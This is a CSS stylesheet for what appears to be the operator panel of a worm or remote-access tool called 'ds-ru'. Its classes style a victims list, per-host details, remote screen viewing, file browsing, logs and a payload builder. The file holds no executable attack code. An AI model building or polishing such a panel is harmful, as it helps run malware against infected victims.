/* ==========================================================================
   ds-ru worm — panel theme
   black/white monolith, same language as ds-ru.cc
   ========================================================================== */
:root {
  --bg:        #060607;
  --bg-soft:   #0a0a0c;
  --card:      #0e0e11;
  --card-hi:   #131317;
  --line:      #1c1c21;
  --line-hi:   #2a2a31;
  --txt:       #f2f2f4;
  --txt-dim:   #8b8b93;
  --txt-mute:  #55555d;
  --white:     #ffffff;
  --ok:        #43d17a;
  --warn:      #e0b341;
  --bad:       #e5534b;
  --r:         14px;
  --r-sm:      10px;
  --mono:      ui-monospace, "SF Mono", "Cascadia Mono", "JetBrains Mono", Consolas, monospace;
  --sans:      "Inter", "Segoe UI", system-ui, -apple-system, sans-serif;
}

* { box-sizing: border-box; }
html, body { height: 100%; }
body {
  margin: 0;
  background: var(--bg);
  color: var(--txt);
  font: 400 14px/1.55 var(--sans);
  -webkit-font-smoothing: antialiased;
  letter-spacing: -0.01em;
}
a { color: inherit; text-decoration: none; }
button, input, select, textarea { font: inherit; color: inherit; }
::selection { background: #fff; color: #000; }
::-webkit-scrollbar { width: 10px; height: 10px; }
::-webkit-scrollbar-track { background: transparent; }
::-webkit-scrollbar-thumb { background: #1e1e24; border-radius: 99px; }
::-webkit-scrollbar-thumb:hover { background: #2c2c34; }

/* ---------------------------------------------------------------- shell -- */
.topbar {
  position: sticky; top: 0; z-index: 40;
  height: 64px;
  display: flex; align-items: center; gap: 14px;
  padding: 0 26px;
  background: rgba(6,6,7,.82);
  backdrop-filter: blur(14px);
  border-bottom: 1px solid var(--line);
}
.brand { display: flex; align-items: center; gap: 10px; padding-right: 8px; }
.brand .mark {
  width: 34px; height: 34px;
  display: grid; place-items: center;
  border: 1px solid var(--line-hi);
  border-radius: 10px;
  background: #101014;
  font: 700 15px/1 var(--mono);
  letter-spacing: -1px;
}
.brand .word { font-weight: 650; font-size: 15px; letter-spacing: -0.02em; }

.nav {
  display: flex; gap: 6px; margin: 0 auto;
  padding: 5px;
  border: 1px solid var(--line);
  border-radius: 99px;
  background: var(--bg-soft);
}
.nav button {
  border: 0; background: transparent; color: var(--txt-dim);
  padding: 7px 15px; border-radius: 99px; cursor: pointer;
  font-size: 13px; transition: .16s;
}
.nav button:hover { color: var(--txt); }
.nav button.on { background: var(--white); color: #000; font-weight: 600; }

.statuspill {
  display: inline-flex; align-items: center; gap: 8px;
  padding: 7px 14px; border: 1px solid var(--line);
  border-radius: 99px; font-size: 12.5px; color: var(--txt-dim);
}
.dot { width: 7px; height: 7px; border-radius: 50%; background: var(--ok); box-shadow: 0 0 10px var(--ok); }
.dot.off { background: var(--bad); box-shadow: 0 0 10px var(--bad); }

.iconbtn {
  width: 34px; height: 34px; display: grid; place-items: center;
  border: 1px solid var(--line); border-radius: 50%;
  background: var(--bg-soft); cursor: pointer; transition: .16s;
}
.iconbtn:hover { border-color: var(--line-hi); background: var(--card-hi); }

main { padding: 26px; max-width: 1560px; margin: 0 auto; }
.view { display: none; animation: fade .18s ease; }
.view.on { display: block; }
@keyframes fade { from { opacity: 0; transform: translateY(4px); } to { opacity: 1; transform: none; } }

/* ---------------------------------------------------------------- cards -- */
.grid { display: grid; gap: 14px; }
.g-victims { grid-template-columns: repeat(auto-fill, minmax(310px, 1fr)); }

.card {
  background: var(--card);
  border: 1px solid var(--line);
  border-radius: var(--r);
  padding: 16px;
  transition: .18s;
}
.card:hover { border-color: var(--line-hi); background: var(--card-hi); }

.vic {
  display: grid; gap: 12px; cursor: pointer; position: relative; overflow: hidden;
}
.vic .top { display: flex; align-items: center; gap: 11px; }
.vic .avatar {
  width: 40px; height: 40px; border-radius: 50%;
  background: linear-gradient(155deg, #1d1d23, #0b0b0e);
  border: 1px solid var(--line-hi);
  display: grid; place-items: center;
  font: 600 14px/1 var(--mono); color: var(--txt-dim);
  flex: 0 0 auto;
}
.vic .who { min-width: 0; }
.vic .hostname {
  font-weight: 600; font-size: 14.5px; letter-spacing: -0.015em;
  white-space: nowrap; overflow: hidden; text-overflow: ellipsis;
}
.vic .uid { font: 400 11.5px/1.4 var(--mono); color: var(--txt-mute); }
.vic .meta {
  display: flex; flex-wrap: wrap; gap: 6px 12px;
  font: 400 11.5px/1.5 var(--mono); color: var(--txt-mute);
}
.vic .meta b { color: var(--txt-dim); font-weight: 500; }
.vic .flag { font-size: 12px; }

.pill {
  display: inline-flex; align-items: center; gap: 6px;
  padding: 3px 9px; border-radius: 99px;
  font: 500 11px/1.6 var(--mono);
  border: 1px solid var(--line-hi); color: var(--txt-dim);
}
.pill.live { color: var(--ok); border-color: #1c3a26; background: #0c1610; }
.pill.dead { color: var(--bad); border-color: #3a1c1c; background: #160c0c; }
.pill.tag { color: var(--txt); border-color: #333; }
.pill.owner { background: #fff; color: #000; border-color: #fff; }

/* -------------------------------------------------------------- controls -- */
.btn {
  display: inline-flex; align-items: center; justify-content: center; gap: 8px;
  height: 38px; padding: 0 18px;
  border-radius: 99px; border: 1px solid var(--line-hi);
  background: var(--card-hi); color: var(--txt);
  font-size: 13px; font-weight: 500; cursor: pointer;
  transition: .16s; white-space: nowrap;
}
.btn:hover { background: #191920; border-color: #35353d; }
.btn.primary { background: var(--white); color: #000; border-color: var(--white); font-weight: 600; }
.btn.primary:hover { background: #e6e6e8; }
.btn.danger { color: var(--bad); border-color: #3a1c1c; }
.btn.danger:hover { background: #170a0a; }
.btn.sm { height: 30px; padding: 0 12px; font-size: 12px; }
.btn:disabled { opacity: .45; cursor: not-allowed; }

.field { display: grid; gap: 6px; }
.field label { font-size: 12px; color: var(--txt-mute); }
input[type=text], input[type=password], input[type=number], input[type=search], select, textarea {
  height: 38px; padding: 0 13px;
  background: var(--bg-soft);
  border: 1px solid var(--line);
  border-radius: var(--r-sm);
  outline: none; transition: .16s; width: 100%;
}
textarea { height: auto; padding: 10px 13px; resize: vertical; min-height: 84px; }
input:focus, select:focus, textarea:focus { border-color: #3a3a44; background: #0c0c10; }
input::placeholder, textarea::placeholder { color: var(--txt-mute); }
input[type=range] { width: 100%; accent-color: #fff; }

.row { display: flex; gap: 12px; align-items: center; flex-wrap: wrap; }
.spacer { flex: 1; }
.h1 { font-size: 22px; font-weight: 650; letter-spacing: -0.03em; margin: 0 0 4px; }
.sub { color: var(--txt-mute); font-size: 13px; margin: 0 0 18px; }
.mono { font-family: var(--mono); font-size: 12px; }
.dim { color: var(--txt-dim); }
.mute { color: var(--txt-mute); }
.empty { color: var(--txt-mute); text-align: center; padding: 46px 0; font-size: 13px; }

/* ------------------------------------------------------------- victim view -- */
.vhead { display: flex; align-items: center; gap: 16px; margin-bottom: 18px; }
.vhead .avatar {
  width: 56px; height: 56px; border-radius: 50%;
  background: linear-gradient(155deg, #1d1d23, #0b0b0e);
  border: 1px solid var(--line-hi); display: grid; place-items: center;
  font: 600 20px/1 var(--mono); color: var(--txt-dim);
}
.vhead h2 { margin: 0; font-size: 20px; letter-spacing: -0.025em; }

.infogrid {
  display: grid; grid-template-columns: repeat(auto-fill, minmax(180px, 1fr));
  gap: 1px; background: var(--line); border: 1px solid var(--line);
  border-radius: var(--r); overflow: hidden;
}
.infogrid div { background: var(--card); padding: 12px 14px; }
.infogrid span { display: block; font-size: 11px; color: var(--txt-mute); margin-bottom: 3px; }
.infogrid b { font: 500 12.5px/1.4 var(--mono); color: var(--txt); word-break: break-all; font-weight: 500; }

/* ----------------------------------------------------------------- screen -- */
.screenwrap {
  position: relative; background: #000; border: 1px solid var(--line);
  border-radius: var(--r); overflow: hidden; display: grid; place-items: center;
  min-height: 420px; aspect-ratio: 16/9;
}
.screenwrap img { width: 100%; height: 100%; object-fit: contain; display: block; }
.screenwrap .ph { color: var(--txt-mute); font-size: 13px; }
.hud {
  position: absolute; left: 12px; top: 12px; display: flex; gap: 8px;
  font: 500 11px/1.6 var(--mono); color: #cfcfd4;
}
.hud span { background: rgba(0,0,0,.62); border: 1px solid rgba(255,255,255,.09);
  padding: 3px 8px; border-radius: 6px; backdrop-filter: blur(6px); }

/* ------------------------------------------------------------------ files -- */
.crumbs { display: flex; gap: 6px; align-items: center; flex-wrap: wrap; font: 12px var(--mono); color: var(--txt-mute); }
.crumbs a { cursor: pointer; color: var(--txt-dim); }
.crumbs a:hover { color: #fff; }

table.list { width: 100%; border-collapse: collapse; font: 12.5px/1 var(--mono); }
table.list th {
  text-align: left; font-weight: 500; color: var(--txt-mute);
  font-size: 11px; padding: 9px 10px; border-bottom: 1px solid var(--line);
  text-transform: uppercase; letter-spacing: .06em;
}
table.list td { padding: 9px 10px; border-bottom: 1px solid #121216; color: var(--txt-dim); }
table.list tr:hover td { background: #0c0c10; color: var(--txt); }
table.list td.f { color: var(--txt); cursor: pointer; }
table.list td.act { text-align: right; white-space: nowrap; }
table.list td.act button { background: none; border: 0; color: var(--txt-mute); cursor: pointer; padding: 0 5px; }
table.list td.act button:hover { color: #fff; }

/* -------------------------------------------------------------------- fun -- */
.fungrid { display: grid; grid-template-columns: repeat(auto-fill, minmax(226px, 1fr)); gap: 12px; }
.funbtn {
  text-align: left; padding: 15px 16px; border-radius: var(--r);
  border: 1px solid var(--line); background: var(--card);
  cursor: pointer; transition: .16s; display: grid; gap: 3px;
}
.funbtn:hover { border-color: var(--line-hi); background: var(--card-hi); transform: translateY(-1px); }
.funbtn b { font-size: 13.5px; font-weight: 600; }
.funbtn small { color: var(--txt-mute); font-size: 11.5px; line-height: 1.35; }

/* ------------------------------------------------------------------- logs -- */
.logrow { display: flex; gap: 12px; padding: 8px 0; border-bottom: 1px solid #101014; font-size: 12.5px; }
.logrow .t { font-family: var(--mono); color: var(--txt-mute); font-size: 11.5px; flex: 0 0 130px; }
.logrow .a { font-family: var(--mono); color: var(--txt); flex: 0 0 140px; }
.logrow .d { color: var(--txt-dim); font-family: var(--mono); font-size: 11.5px; word-break: break-all; }

/* ------------------------------------------------------------------ toast -- */
#toasts { position: fixed; right: 20px; bottom: 20px; display: grid; gap: 8px; z-index: 90; }
.toast {
  padding: 11px 15px; border-radius: 12px; font-size: 13px;
  background: #101015; border: 1px solid var(--line-hi); color: var(--txt);
  animation: fade .18s ease; max-width: 380px;
}
.toast.bad { border-color: #3a1c1c; color: #ffb4af; }
.toast.good { border-color: #1c3a26; color: #a9f0c2; }

/* ------------------------------------------------------------------ login -- */
.loginwrap { min-height: 100vh; display: grid; place-items: center; padding: 24px; }
.loginbox {
  width: 100%; max-width: 384px; background: var(--card);
  border: 1px solid var(--line); border-radius: 20px; padding: 32px;
}
.loginbox .brand { justify-content: center; margin-bottom: 22px; }
.loginbox h1 { font-size: 19px; font-weight: 650; margin: 0 0 6px; letter-spacing: -0.02em; text-align: center; }
.loginbox p { text-align: center; color: var(--txt-mute); font-size: 12.5px; margin: 0 0 22px; }
.loginbox .field { margin-bottom: 12px; }
.loginbox .btn { width: 100%; margin-top: 6px; }

/* --------------------------------------------------------------- builder -- */
.thirds { display: grid; grid-template-columns: repeat(auto-fit, minmax(260px, 1fr)); gap: 14px; }
.checkline { display: flex; align-items: center; gap: 10px; padding: 11px 0; border-bottom: 1px solid #121216; }
.checkline:last-child { border-bottom: 0; }
.checkline label { flex: 1; font-size: 13px; }
.checkline small { color: var(--txt-mute); display: block; font-size: 11.5px; }
.switch { appearance: none; width: 38px; height: 22px; border-radius: 99px; background: #1b1b21; position: relative; cursor: pointer; transition: .16s; border: 1px solid var(--line-hi); flex: 0 0 auto; }
.switch::after { content: ""; position: absolute; top: 2px; left: 2px; width: 16px; height: 16px; border-radius: 50%; background: #55555d; transition: .16s; }
.switch:checked { background: var(--white); border-color: var(--white); }
.switch:checked::after { left: 18px; background: #000; }
pre.buildlog { background: var(--bg-soft); border: 1px solid var(--line); border-radius: var(--r-sm); padding: 12px; font: 11.5px/1.6 var(--mono); color: var(--txt-dim); white-space: pre-wrap; margin: 0; max-height: 220px; overflow: auto; }

@media (max-width: 820px) {
  .topbar { padding: 0 14px; height: auto; flex-wrap: wrap; gap: 8px; padding-block: 10px; }
  .nav { order: 3; width: 100%; overflow-x: auto; justify-content: flex-start; }
  .brand .word { display: none; }
  main { padding: 14px; }
}

/* ==========================================================================
   sidebar shell  —  WebRat-style rail, same black/white language
   ========================================================================== */
.app { display: grid; grid-template-columns: 236px 1fr; min-height: 100vh; }

.rail {
  position: sticky; top: 0; height: 100vh;
  display: flex; flex-direction: column;
  background: #08080a;
  border-right: 1px solid var(--line);
  padding: 18px 14px;
  z-index: 50;
}
.rail .brand { padding: 0 6px 18px; }
.rail nav { display: grid; gap: 3px; overflow-y: auto; flex: 1; }
.rail .grp { font: 500 10.5px/1 var(--mono); letter-spacing: .12em; text-transform: uppercase;
  color: var(--txt-mute); padding: 16px 10px 7px; }
.rail button {
  display: flex; align-items: center; gap: 11px;
  width: 100%; padding: 9px 11px;
  background: transparent; border: 1px solid transparent;
  border-radius: 10px; color: var(--txt-dim);
  font-size: 13.5px; cursor: pointer; text-align: left; transition: .14s;
}
.rail button:hover { background: #101014; color: var(--txt); }
.rail button.on { background: var(--white); color: #000; font-weight: 600; }
.rail button .ico { width: 18px; height: 18px; flex: 0 0 auto; display: grid; place-items: center; opacity: .85; }
.rail button.on .ico { opacity: 1; }
.rail .badge {
  margin-left: auto; min-width: 18px; height: 18px; padding: 0 5px;
  border-radius: 99px; background: #fff; color: #000;
  font: 600 10.5px/18px var(--mono); text-align: center;
}
.rail button.on .badge { background: #000; color: #fff; }
.rail .foot { border-top: 1px solid var(--line); padding-top: 12px; margin-top: 10px; display: grid; gap: 4px; }
.rail .foot .who { padding: 6px 10px 10px; font: 500 12px/1.5 var(--mono); color: var(--txt-mute); }

.shell { min-width: 0; display: flex; flex-direction: column; }
.headbar {
  position: sticky; top: 0; z-index: 40;
  display: flex; align-items: center; gap: 14px;
  height: 60px; padding: 0 24px;
  background: rgba(6,6,7,.86); backdrop-filter: blur(14px);
  border-bottom: 1px solid var(--line);
}
.headbar h1 { margin: 0; font-size: 16px; font-weight: 650; letter-spacing: -0.02em; }
.headbar .crumb { font: 12px var(--mono); color: var(--txt-mute); }
.shell main { padding: 22px 24px 60px; max-width: 1560px; width: 100%; }

/* sticky victim bar when a host is selected */
.vbar {
  display: flex; align-items: center; gap: 12px;
  padding: 10px 14px; margin-bottom: 16px;
  border: 1px solid var(--line-hi); border-radius: 12px; background: var(--card);
}
.vbar .nm { font-weight: 600; font-size: 13.5px; }
.vbar .mono { color: var(--txt-mute); }

/* --- stat cards --- */
.stats { display: grid; grid-template-columns: repeat(auto-fit, minmax(190px, 1fr)); gap: 12px; margin-bottom: 20px; }
.stat { background: var(--card); border: 1px solid var(--line); border-radius: var(--r); padding: 16px 18px; }
.stat .k { font: 500 10.5px/1 var(--mono); letter-spacing: .1em; text-transform: uppercase; color: var(--txt-mute); }
.stat .v { font-size: 26px; font-weight: 650; letter-spacing: -0.03em; margin-top: 8px; }
.stat .s { font: 11.5px var(--mono); color: var(--txt-mute); margin-top: 4px; }

/* --- context menu --- */
#ctx {
  position: fixed; z-index: 200; min-width: 224px; display: none;
  background: #0c0c10; border: 1px solid #2a2a33; border-radius: 12px;
  padding: 6px; box-shadow: 0 22px 48px rgba(0,0,0,.65);
}
#ctx .it {
  position: relative; display: flex; align-items: center; gap: 9px;
  padding: 8px 11px; border-radius: 8px; font-size: 13px; color: var(--txt-dim);
  cursor: pointer; white-space: nowrap;
}
#ctx .it:hover { background: #17171d; color: #fff; }
#ctx .it .arw { margin-left: auto; color: var(--txt-mute); font-size: 11px; }
#ctx .sep { height: 1px; background: #1a1a20; margin: 5px 4px; }
#ctx .hdr { padding: 7px 11px 4px; font: 500 10px/1 var(--mono); letter-spacing: .12em; text-transform: uppercase; color: #4c4c55; }
#ctx .sub {
  position: absolute; left: 100%; top: -6px; min-width: 208px; display: none;
  background: #0c0c10; border: 1px solid #2a2a33; border-radius: 12px; padding: 6px;
  box-shadow: 0 22px 48px rgba(0,0,0,.65);
}
#ctx .it:hover > .sub { display: block; }
#ctx .it.danger { color: #e5534b; }
#ctx .it.danger:hover { background: #1b0d0d; }

.vic.ctx-on { border-color: #3d3d47; background: var(--card-hi); }

/* --- notifications --- */
.ntf { display: flex; gap: 12px; padding: 11px 4px; border-bottom: 1px solid #101014; }
.ntf .d { width: 8px; height: 8px; border-radius: 50%; margin-top: 6px; flex: 0 0 auto; background: #2a2a33; }
.ntf.new .d { background: #fff; box-shadow: 0 0 10px rgba(255,255,255,.5); }
.ntf .b { flex: 1; min-width: 0; }
.ntf .t1 { font-size: 13px; }
.ntf .t2 { font: 11.5px var(--mono); color: var(--txt-mute); margin-top: 2px; }

@media (max-width: 900px) {
  .app { grid-template-columns: 64px 1fr; }
  .rail { padding: 14px 8px; }
  .rail button span.lbl, .rail .grp, .rail .foot .who { display: none; }
  .rail button { justify-content: center; padding: 11px 0; }
}
